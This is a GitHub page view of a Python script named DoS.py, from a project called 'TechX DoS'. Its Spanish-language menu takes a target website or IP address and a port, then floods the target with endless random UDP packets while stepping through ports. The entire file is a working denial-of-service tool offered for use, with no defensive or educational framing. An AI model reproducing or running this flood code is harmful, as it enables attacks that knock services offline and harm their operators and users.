-
Notifications
You must be signed in to change notification settings - Fork 0
/
DoS.py
134 lines (120 loc) · 5.33 KB
/
DoS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# /$$$$$$$$ /$$ /$$ /$$ /$$$$$$$ /$$$$$$
# |__ $$__/ | $$ | $$ / $$ | $$__ $$ /$$__ $$
# | $$ /$$$$$$ /$$$$$$$| $$$$$$$ | $$/ $$/ | $$ \ $$ /$$$$$$ | $$ \__/
# | $$ /$$__ $$ /$$_____/| $$__ $$ \ $$$$/ | $$ | $$ /$$__ $$| $$$$$$
# | $$| $$$$$$$$| $$ | $$ \ $$ >$$ $$ | $$ | $$| $$ \ $$ \____ $$
# | $$| $$_____/| $$ | $$ | $$ /$$/\ $$ | $$ | $$| $$ | $$ /$$ \ $$
# | $$| $$$$$$$| $$$$$$$| $$ | $$| $$ \ $$ | $$$$$$$/| $$$$$$/| $$$$$$/
# |__/ \_______/ \_______/|__/ |__/|__/ |__/ |_______/ \______/ \______/
#++++++++++++++++++++++++++++++++++++++++++++++++++++++
# AUTHOR : ToolsX | MrTechX | UlisesCamacho
# PROJECT :TechX DoS
# VERSION : 1.0.0
#++++++++++++++++++++++++++++++++++++++++++++++++++++++
from platform import system
import os
import time
import random
import socket
from urllib import request
import sys
path=os.getcwd()
path=os.path.join(path,'lib')
sys.path.append(path)
import colorama
from colorama import Fore,Back,Style
from tqdm.auto import tqdm
de_version="1.1"
colorama.init()
def clearConsole():
command = 'clear'
if os.name in ('nt', 'dos'):
command = 'cls'
os.system(command)
def ddos():
def banner():
clearConsole()
print(Style.RESET_ALL+Fore.RED+Style.BRIGHT+'''
/$$$$$$$$ /$$ /$$ /$$ /$$$$$$$ /$$$$$$
|__ $$__/ | $$ | $$ / $$ | $$__ $$ /$$__ $$
| $$ /$$$$$$ /$$$$$$$| $$$$$$$ | $$/ $$/ | $$ \ $$ /$$$$$$ | $$ \__/
| $$ /$$__ $$ /$$_____/| $$__ $$ \ $$$$/ | $$ | $$ /$$__ $$| $$$$$$
| $$| $$$$$$$$| $$ | $$ \ $$ >$$ $$ | $$ | $$| $$ \ $$ \____ $$
| $$| $$_____/| $$ | $$ | $$ /$$/\ $$ | $$ | $$| $$ | $$ /$$ \ $$
| $$| $$$$$$$| $$$$$$$| $$ | $$| $$ \ $$ | $$$$$$$/| $$$$$$/| $$$$$$/
|__/ \_______/ \_______/|__/ |__/|__/ |__/ |_______/ \______/ \______/
'''+Style.RESET_ALL+Fore.GREEN+Style.BRIGHT+'''
by:MrTechX | ToolsX | UlisesCamacho
'''+Style.RESET_ALL)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
def chech_con():
try:
request.urlopen('https://www.google.co.in/',timeout=3)
except KeyboardInterrupt:
print(Fore.RED+Style.BRIGHT + "Detenido por el usuario..." + Fore.RESET)
exit()
except:
print(Fore.RED+Style.BRIGHT+'Por favor revisa tu conexion a internet...'+Fore.RESET)
exit()
try:
print(Fore.CYAN+Style.BRIGHT+"Comprobando conexion a internet.... "+Fore.RESET)
for i in tqdm(range(30000)):
print(end=Fore.RED+Style.BRIGHT+'\r')
time.sleep(1)
chech_con()
except KeyboardInterrupt:
print(Fore.RED +Style.BRIGHT+ "Detenido por el usuario" + Fore.RESET)
exit()
try:
while True:
banner()
print(Fore.GREEN+Style.BRIGHT+"1."+Style.RESET_ALL+Fore.YELLOW+" Dominio del sitio web"+Fore.GREEN+Style.BRIGHT+"\n2."+Style.RESET_ALL+Fore.YELLOW+" Dirección IP"+Fore.GREEN+Style.BRIGHT+"\n3."+Style.RESET_ALL+Fore.YELLOW+" Salir")
opt=str(input(Fore.RED+Style.BRIGHT+"\n>>> "+Fore.RESET))
if opt=='1':
domain=str(input(Fore.CYAN+Style.BRIGHT+"Ingrese el sitio web(ej:google.com):"+Fore.RESET))
ip=socket.gethostbyname(domain)
break
elif opt=='2':
ip = input(Fore.CYAN+Style.BRIGHT+"Direccion IP : "+Fore.RESET)
break
elif opt=='3':
time.sleep(1)
print(Fore.RED+"Nos vemos pronto :D"+Fore.RESET)
exit()
else:
print(Fore.RED+'Opcion invalida!'+Fore.RESET)
time.sleep(2)
port =int(input(Fore.CYAN+Style.BRIGHT+"Numero del puerto : "+Fore.RESET))
print(Fore.YELLOW+Style.BRIGHT+"Iniciando...."+Style.RESET_ALL)
clearConsole()
time.sleep(2)
print(Fore.RED+Back.LIGHTGREEN_EX+"Comenzando ataque X.X ..."+Style.RESET_ALL)
for i in tqdm(range(30000)):
print(end=Fore.RED+'\r')
time.sleep(1)
sent = 0
except Exception as e:
print(Fore.RED+"¡Algo salió mal!")
print("Razon: ",e,Fore.RESET)
time.sleep(3)
ddos()
try:
while True:
sock.sendto(bytes, (ip,port))
sent=sent+1
port=port+1
color_list = [Fore.RED+Style.BRIGHT+Back.MAGENTA, Fore.GREEN+Style.BRIGHT+Back.RED, Fore.YELLOW+Style.BRIGHT+Back.GREEN, Fore.BLUE+Style.BRIGHT+Back.CYAN, Fore.MAGENTA+Style.BRIGHT+Back.WHITE, Fore.CYAN+Style.BRIGHT+Back.BLUE, Fore.WHITE+Style.BRIGHT+Back.RED ]
color_random = random.choice(color_list)
print(color_random+"Paquete %s enviado %s a través del puerto:%s" % (sent, ip, port))
if port==65534:
port=1
elif port==1900:
port=1901
except Exception as e:
print(Fore.RED+Style.BRIGHT+"Terminado\nRazon: ",e,Fore.RESET)
time.sleep(1)
ddos()
except KeyboardInterrupt:
print(Fore.RED+Style.BRIGHT+"\nDetenido por el usuario"+Fore.RESET)
ddos()